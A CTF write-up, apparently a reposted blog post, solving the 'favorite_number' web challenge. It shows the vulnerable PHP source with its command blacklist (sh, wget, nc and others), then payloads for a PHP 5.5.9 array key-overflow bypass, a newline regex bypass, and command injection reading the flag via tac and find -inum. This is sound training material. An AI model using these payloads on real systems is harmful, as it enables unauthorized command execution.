攻防世界WEB练习-favorite_number
前言
作者簡介:不知名白帽,網絡安全學習者。
博客主頁:https://blog.csdn.net/m0_63127854?type=blog
攻防世界專欄:https://blog.csdn.net/m0_63127854/category_11983747.html
網絡安全交流社區:https://bbs.csdn.net/forums/angluoanquan
目錄
題目場景
代碼審計及繞過
通過php5.5版本的數組key溢出漏洞進行數組繞過
換行符繞過正則跨行匹配
黑名單繞過
題目場景
<?php //php5.5.9 $stuff?=?$_POST["stuff"]; $array?=?['admin',?'user']; if($stuff?===?$array?&&?$stuff[0]?!=?'admin')?{$num=?$_POST["num"];if?(preg_match("/^\d+$/im",$num)){if?(!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){echo?"my?favorite?num?is:";system("echo?".$num);}else{echo?'Bonjour!';}} }?else?{highlight_file(__FILE__); }代碼審計及繞過
通過php5.5版本的數組key溢出漏洞進行數組繞過
php的版本是5.5.9
通過post方式傳遞兩個參數:stuff(數組)和num(其中的內容經過過濾之后會被system函數執行)
既要數組強等于,又要首元素元素不等于。即要$stuff === ['admin', 'user'] 又要 $stuff[0]!='admin' 。根據上面的提示,只能是php5.5.9的版本漏洞了
根據php5.5.9的版本漏洞:
PHP :: Bug #69892 :: Different arrays compare indentical due to integer key truncation
我們可以利用PHP的數組下標的一個BUG,可以利用整型溢出:
https://two.github.io/2015/09/15/PHP-array-hash-key-overflow/
構造payload
$stuff[0]!='admin',我們通過0x100000000(0x100000000轉換成十進制4294967296)來進行溢出;進行POST傳參
stuff[4294967296]=admin&stuff[]=user&num=123換行符繞過正則跨行匹配
正則"/^\d+$/im",要求整個字符串都是數字,大小寫不敏感,跨行檢測
^和$ 匹配字符串開頭和結尾
/d 匹配數字
/i 表示匹配的時候不區分大小寫
/m 表示多行匹配。什么是多行匹配呢?就是匹配換行符兩端的潛在匹配。影響正則中的^$符號
stuff%5B4294967296%5D=admin&stuff%5B%5D=user&num=123%0als
黑名單繞過
/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i
黑名單,把常用的可以執行的代碼命令都排除了
查看根目錄下的文件ls /
因為cat被禁用了,所以用inode索引節點,ls -i /
使用`繞過單雙引號過濾,讀取flag
%0atac `find / -inum 18497049`
總結
以上是生活随笔為你收集整理的攻防世界WEB练习-favorite_number的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: flash电子书的书签功能
- 下一篇: 搞笑动图:程序员崩溃的 40 个瞬间!